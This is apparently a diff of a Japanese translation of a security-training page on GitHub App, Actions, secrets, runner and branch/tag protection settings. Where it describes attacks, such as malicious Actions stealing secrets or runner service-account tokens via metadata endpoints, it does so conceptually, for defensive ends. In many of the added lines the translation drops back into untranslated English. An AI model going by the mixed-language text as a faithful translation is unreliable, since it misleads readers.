+- GitHub Appをインストールするには、**organization ownerであるかリポジトリのadmin権限を持っている必要**があります。
+- GitHub Appは**personal accountかorganization**に接続する必要があります。
+- 自分のGithub applicationは [https://github.com/settings/apps](https://github.com/settings/apps) で作成できます。
+- あなたのアカウントにアクセス権を持つ **Github applications** の一覧は [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) で確認できます。
+- これらが **Github ApplicationsのAPIエンドポイント** です: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)。アプリの権限に応じて一部にアクセスできます。
+- 組織にインストールされている apps は _https://github.com/organizations/\<org_name>/settings/installations_ で確認できます。
 
-いくつかのセキュリティ推奨事項：
+いくつかのセキュリティ推奨:
 
-- GitHubアプリは**ユーザーとは独立してアクションを実行する**べきです（アプリが[user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)トークンを使用している場合を除く）。ユーザーからサーバーへのアクセストークンをより安全に保つために、8時間後に期限切れになるアクセストークンと、新しいアクセストークンと交換できるリフレッシュトークンを使用できます。詳細については、「[ユーザーからサーバーへのアクセス トークンの更新](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)」を参照してください。
-- GitHubアプリが**特定のリポジトリ**と統合されていることを確認してください。
-- GitHubアプリは**個人アカウントまたは組織に接続する**必要があります。
-- GitHubアプリがユーザーができるすべてのことを知って行動することを期待しないでください。
-- **「GitHubでログイン」サービスが必要なだけの場合は、GitHubアプリを使用しないでください**。ただし、GitHubアプリは、ユーザーをログインさせるために[user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)を使用して、ユーザーをログインさせることができます_そして_他のことを行うことができます。
-- GitHubユーザーとしてのみ行動し、そのユーザーができるすべてのことを行いたい場合は、GitHubアプリを構築しないでください。
-- GitHub Actionsを使用してアプリを使用し、ワークフローファイルを変更したい場合は、`workflow`スコープを含むOAuthトークンを使用してユーザーの代わりに認証する必要があります。ユーザーは、ワークフローファイルを含むリポジトリに対して管理者または書き込み権限を持っている必要があります。詳細については、「[OAuthアプリのスコープの理解](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)」を参照してください。
-- **詳細は**[こちら](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps)で。
+- GitHub Appは**ユーザとは独立して動作すべき**です（ただしアプリが[user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) トークンを使用している場合を除く）。user-to-serverアクセスをより安全に保つため、8時間で期限切れになるaccess tokensや、新しいaccess tokenに交換可能なrefresh tokenを使用できます。詳細は "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." を参照してください。
+- GitHub Appが**特定のrepositoriesと統合されていることを確認**してください。
+- GitHub Appは**personal accountかorganization**に接続するべきです。
+- GitHub Appにユーザができることをすべて期待しないでください。
+- **単に"Login with GitHub"サービスが必要なだけならGitHub Appを使わないでください。** ただし、GitHub Appは[user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) を使ってユーザをログインさせつつ他の操作を行うことができます。
+- GitHub userとしてのみ動作させたい場合はGitHub Appを作らないでください。
+- GitHub Actionsと連携してワークフローファイルを変更したい場合、`workflow` scopeを含むOAuth tokenでユーザを代理して認証する必要があります。ユーザはそのワークフローファイルを含むリポジトリに対してadminまたはwrite権限を持っている必要があります。詳細は "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." を参照してください。
+- 詳細は [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps) を参照してください。
 
 ### Github Actions
 
-これは**githubで認証する方法**ではありませんが、**悪意のある**Github Actionが**githubに不正アクセスする**可能性があり、**与えられた権限**に応じて、いくつかの**異なる攻撃**が行われる可能性があります。詳細については以下を参照してください。
+これは**githubへの認証方法ではありません**が、**悪意あるGithub Actionが不正にgithubへアクセスし得る**可能性があり、Actionに与えられた**privileges**によっては**様々な攻撃**が可能です。以下で詳述します。
 
-## Gitアクション
+## Git Actions
 
-Gitアクションは、**イベントが発生したときにコードの実行を自動化**することを可能にします。通常、実行されるコードは**リポジトリのコードに関連している**（おそらくDockerコンテナをビルドするか、PRに秘密が含まれていないかを確認するなど）。
+Git actionsは**イベント発生時にコードを実行することを自動化**できます。通常、実行されるコードは**リポジトリのコードに何らかの形で関連**しており（例：dockerコンテナのビルドやPR内に秘密情報が含まれていないかのチェックなど）。
 
-### 設定
+### Configuration
 
-_https://github.com/organizations/\<org_name>/settings/actions_ で、組織の**Githubアクションの設定**を確認できます。
+_https://github.com/organizations/\<org_name>/settings/actions_ では、組織の**github actionsの設定**を確認できます。
 
-Githubアクションの使用を完全に禁止することも、**すべてのGithubアクションを許可する**ことも、特定のアクションのみを許可することもできます。
+github actionsの使用を完全に禁止したり、**すべてのgithub actionsを許可**したり、特定のactionsのみを許可する設定が可能です。
 
-また、**Github Actionを実行するために承認が必要な人**や、Github Actionが実行されるときの**GITHUB_TOKENの権限**を設定することもできます。
+また、**誰がGithub Actionの実行に承認を要するか**や、実行時のGithub Actionの**GITHUB_TOKENの権限**を設定することもできます。
 
 ### Git Secrets
 
-Github Actionは通常、Githubやサードパーティアプリケーションと対話するために何らかの秘密を必要とします。リポジトリに**平文で置かないようにするために**、Githubはそれらを**Secrets**として配置することを許可します。
+Github Actionは通常、githubやサードパーティアプリとやり取りするために何らかのsecretを必要とします。これらをリポジトリに平文で置かないように、githubは**Secrets**として格納することを許可しています。
 
-これらの秘密は、**リポジトリまたは組織全体のために設定**できます。その後、**Actionが秘密にアクセスできるようにするために**、次のように宣言する必要があります：
+これらのsecretsは**リポジトリ単位または組織全体**で設定できます。Actionがsecretにアクセスできるようにするには、そのsecretを次のように宣言する必要があります。
 ```yaml
 steps:
 - name: Hello world action
@@ -159,7 +159,7 @@ super_secret:${{ secrets.SuperSecret }}
 env: # Or as an environment variable
 super_secret:${{ secrets.SuperSecret }}
 ```
-#### Bashを使用した例 <a href="#example-using-bash" id="example-using-bash"></a>
+#### Bash を使った例 <a href="#example-using-bash" id="example-using-bash"></a>
 ```yaml
 steps:
 - shell: bash
@@ -168,75 +168,90 @@ run: |
 example-command "$SUPER_SECRET"
 ```
 > [!WARNING]
-> Secrets **は、それらが宣言されている Github Actions からのみアクセス可能です**。
+> Secrets **はそれらを宣言している Github Actions からのみアクセスできます**。
 
-> リポジトリまたは組織に設定されると、**github のユーザーは再度アクセスできなくなります**。彼らはただ **変更することができる** だけです。
+> リポジトリや組織に設定された後、**users of github won't be able to access them again**。ユーザーはそれらを**change them**することしかできません。
 
-したがって、**github シークレットを盗む唯一の方法は、Github Action を実行しているマシンにアクセスできることです**（そのシナリオでは、Action に対して宣言されたシークレットのみアクセス可能になります）。
+したがって、**the only way to steal github secrets is to be able to access the machine that is executing the Github Action**（そのシナリオでは Action に宣言されたシークレットにしかアクセスできません）。
 
 ### Git Environments
 
-Github は **環境** を作成することを許可しており、そこに **シークレット** を保存できます。次に、環境内のシークレットへのアクセスを github action に与えることができます。
+Github は **environments** を作成して、そこに **secrets** を保存できます。次に、環境内のシークレットへのアクセス権を github action に次のように付与できます:
 ```yaml
 jobs:
 deployment:
 runs-on: ubuntu-latest
 environment: env_name
 ```
-環境を**すべてのブランチ**（デフォルト）、**保護されたブランチのみ**、または**アクセスできるブランチを指定**するように構成できます。\
-また、**環境**を使用して**アクションを実行する前に必要なレビューの数**を設定したり、デプロイメントが進行する前に**一定の時間待機**することもできます。
+You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
+Additionally, environment protections include:
+- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper four‑eyes principle on the approval itself.
+- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
+- **Wait timer**: delay deployments for a configurable period.
 
+It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
 ### Git Action Runner
 
-Github Actionは**github環境内で実行**することも、ユーザーが構成した**サードパーティのインフラストラクチャ**で実行することもできます。
+A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
 
-いくつかの組織は、**サードパーティのインフラストラクチャ**でGithub Actionsを実行することを許可します。これは通常**安価**だからです。
+Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
 
-組織の**セルフホストランナー**をリストするには、_https://github.com/organizations/\<org_name>/settings/actions/runners_にアクセスします。
+You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
 
-**非Githubインフラストラクチャで実行されているGithub Actionsを見つける方法**は、Github Actionの設定yamlで`runs-on: self-hosted`を検索することです。
+The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
 
-異なる組織の**セルフホストボックス内で組織のGithub Actionを実行することはできません**。これは、ランナーを構成する際に**ユニークなトークンが生成され**、ランナーがどこに属しているかを知るためです。
+It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
 
-例えば、カスタム**Github RunnerがAWSやGCP内のマシンに構成されている場合**、アクションは**メタデータエンドポイントにアクセスでき**、マシンが実行しているサービスアカウントのトークンを**盗む**ことができます。
+If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
 
 ### Git Action Compromise
 
-すべてのアクション（または悪意のあるアクション）が許可されている場合、ユーザーは**悪意のあるGithubアクション**を使用して、実行されている**コンテナを侵害**することができます。
+If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
 
 > [!CAUTION]
-> **悪意のあるGithub Action**の実行は、攻撃者によって次のように**悪用**される可能性があります：
+> A **malicious Github Action** run could be **abused** by the attacker to:
 >
-> - アクションがアクセスできる**すべての秘密を盗む**
-> - アクションが**サードパーティのインフラストラクチャ**内で実行されている場合、マシンを実行するために使用されるSAトークンにアクセスして**横移動**する（おそらくメタデータサービス経由で）
-> - **ワークフロー**によって使用されるトークンを**悪用して、アクションが実行されているリポジトリのコードを盗む**か、**変更する**。
+> - **Steal all the secrets** the Action has access to
+> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
+> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
 
 ## Branch Protections
 
-ブランチ保護は、ユーザーに**リポジトリの完全な制御を与えない**ように設計されています。目標は、**特定のブランチ内でコードを書く前にいくつかの保護方法を設ける**ことです。
+Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
 
-リポジトリの**ブランチ保護**は、_https://github.com/\<orgname>/\<reponame>/settings/branches_で見つけることができます。
+The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
 
 > [!NOTE]
-> **組織レベルでブランチ保護を設定することはできません**。したがって、すべての保護は各リポジトリで宣言する必要があります。
+> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
 
-ブランチに適用できるさまざまな保護（例えばmaster）：
+Different protections can be applied to a branch (like to master):
 
-- **マージ前にPRを要求**できます（したがって、ブランチに直接コードをマージすることはできません）。これが選択されると、他のさまざまな保護が適用される可能性があります：
-- **承認の数を要求**します。PRを承認するために1人または2人以上の人の承認を要求することは非常に一般的で、単一のユーザーが直接コードをマージできないようにします。
-- **新しいコミットがプッシュされたときに承認を無効にする**。そうでない場合、ユーザーは正当なコードを承認し、その後悪意のあるコードを追加してマージする可能性があります。
-- **コードオーナーからのレビューを要求**します。リポジトリの少なくとも1人のコードオーナーがPRを承認する必要があります（したがって「ランダム」なユーザーは承認できません）。
-- **プルリクエストレビューを無効にできる人を制限**します。プルリクエストレビューを無効にできる人やチームを指定できます。
-- **指定されたアクターがプルリクエスト要件をバイパスできるようにします**。これらのユーザーは以前の制限をバイパスできます。
-- **マージ前にステータスチェックが通過することを要求**します。コミットをマージする前にいくつかのチェックが通過する必要があります（例えば、クリアテキストの秘密がないことを確認するGithubアクションなど）。
-- **マージ前に会話の解決を要求**します。コードに対するすべてのコメントは、PRをマージする前に解決される必要があります。
-- **署名されたコミットを要求**します。コミットは署名される必要があります。
-- **線形履歴を要求**します。マージコミットが一致するブランチにプッシュされるのを防ぎます。
-- **管理者を含める**。これが設定されていない場合、管理者は制限をバイパスできます。
-- **一致するブランチにプッシュできる人を制限**します。PRを送信できる人を制限します。
+- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
+- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
+- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
+- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
+- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
+- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
+- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
+- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
+- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
+- **Require signed commits**. The commits need to be signed.
+- **Require linear history.** Prevent merge commits from being pushed to matching branches.
+- **Include administrators**. If this isn't set, admins can bypass the restrictions.
+- **Restrict who can push to matching branches**. Restrict who can send a PR.
 
 > [!NOTE]
-> ご覧のとおり、ユーザーの資格情報を取得できたとしても、**リポジトリが保護されているため、例えばmasterにコードをプッシュすることを避けることができます**。
+> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+
+## Tag Protections
+
+Tags (like latest, stable) are mutable by default. To enforce a four‑eyes flow on tag updates, protect tags and chain protections through environments and branches:
+
+1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod).
+2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**.
+3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**.
+
+This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows.
 
 ## References
 
@@ -245,5 +260,10 @@ Github Actionは**github環境内で実行**することも、ユーザーが構
 - [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github)
 - [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards)
 - [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
+- [https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
+- [https://securitylab.github.com/resources/github-actions-untrusted-input/](https://securitylab.github.com/resources/github-actions-untrusted-input/)
+- [https://docs.github.com/en/rest/checks/runs](https://docs.github.com/en/rest/checks/runs)
+- [https://docs.github.com/en/apps](https://docs.github.com/en/apps)
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 
 {{#include ../../banners/hacktricks-training.md}}